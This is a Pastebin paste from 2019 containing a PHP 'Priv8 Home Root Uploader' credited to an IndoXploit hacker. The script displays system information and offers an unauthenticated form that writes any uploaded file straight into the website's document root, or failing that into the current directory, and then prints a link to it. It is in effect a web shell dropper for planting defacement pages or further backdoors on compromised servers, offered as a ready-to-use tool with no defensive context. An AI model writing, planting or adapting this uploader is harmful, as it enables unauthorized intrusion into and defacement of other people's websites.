Jemb0t_IR3eng

Priv8 Home Root Uploader

Apr 16th, 2019
326
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.90 KB | None | 0 0
  1. <?php
  2.  
  3. echo "Priv8 Home Root Uploader by Mr. Error 404 - IndoXploit<br>";
  4.  
  5. echo "<b>".php_uname()."</b><br>";
  6.  
  7. echo "<form method='post' enctype='multipart/form-data'>
  8.  
  9. <input type='file' name='idx_file'>
  10.  
  11. <input type='submit' name='upload' value='upload'>
  12.  
  13. </form>";
  14.  
  15. $root = $_SERVER['DOCUMENT_ROOT'];
  16.  
  17. $files = $_FILES['idx_file']['name'];
  18.  
  19. $dest = $root.'/'.$files;
  20.  
  21. if(isset($_POST['upload'])) {
  22.  
  23. if(is_writable($root)) {
  24.  
  25. if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
  26.  
  27. $web = "http://".$_SERVER['HTTP_HOST']."/";
  28.  
  29. echo "sukses upload -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
  30.  
  31. } else {
  32.  
  33. echo "gagal upload di document root.";
  34.  
  35. }
  36.  
  37. } else {
  38.  
  39. if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
  40.  
  41. echo "sukses upload <b>$files</b> di folder ini";
  42.  
  43. } else {
  44.  
  45. echo "gagal upload";
  46.  
  47. }
  48.  
  49. }
  50.  
  51. }
  52.  
  53. ?>
Add Comment
Please, Sign In to add comment